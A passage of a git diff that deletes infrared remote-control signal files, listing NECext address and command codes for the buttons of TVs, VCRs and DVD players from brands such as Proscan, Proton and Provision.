-name: SURROUND -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 5A 00 00 00 -# -name: MENU_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 64 00 00 00 -# -name: MENU_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 65 00 00 00 -# -name: CINEMA -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 90 00 00 00 -# -name: SPLIT_SCREEN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 91 00 00 00 -# -name: SPLIT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 91 00 00 00 -# -name: POP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 92 00 00 00 -# -name: FETCH -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 93 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: A3 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: A3 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: C3 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: C3 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: C4 00 00 00 -# -name: SIZE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: C5 00 00 00 -# -name: CH_CTRL -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: E5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir deleted file mode 100644 index 24ed7af93..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: antenna -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 05 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: track- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0A 00 00 00 -# -name: track+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 15 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 19 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 -# -name: reverse -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_LIGHTS_TOGGLE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1F 00 00 00 -# -name: fradv -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: goback -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 27 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 30 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 31 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 32 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 33 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 34 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 35 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 36 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 37 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 38 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 39 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3A 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3C 00 00 00 -# -name: speed -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 46 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 47 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 56 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 57 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 59 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir deleted file mode 100644 index 86891830f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: sp -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir deleted file mode 100644 index ef137d65a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: LEVEL+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: LEVEL- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 9E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir deleted file mode 100644 index 78065c84f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: AV3_INPUT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: ANT1_/_RGB -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: ANT2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: TV_TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: AV2_INPUT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: AV1_INPUT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir deleted file mode 100644 index c98cbd633..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: TV/AV -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: RGB1/2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: CURSOR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: LEVEL- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: LEVEL+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 15 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir deleted file mode 100644 index 225eadd61..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir deleted file mode 100644 index 4bbe94571..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: air/cbl -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: autoscan -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: ttx -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: pc/tv -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: mts -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: sync -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: ch_rtn -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: ch+- -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: func -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir deleted file mode 100644 index 3cff51140..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4C 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4D 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 51 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 -# -name: enter/play -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir deleted file mode 100644 index a71fe61c6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 03 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 04 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 05 00 00 00 -# -name: pal/ntsc -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 06 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 09 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0E 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 10 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 12 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 13 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 17 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1F 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 40 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 41 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 42 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 44 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 45 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 46 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 47 00 00 00 -# -name: FastRWD -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 48 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 49 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4B 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4C 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4F 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 50 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 51 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 52 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 53 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 54 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 56 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5C 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir deleted file mode 100644 index ca05b5cef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 13 01 00 00 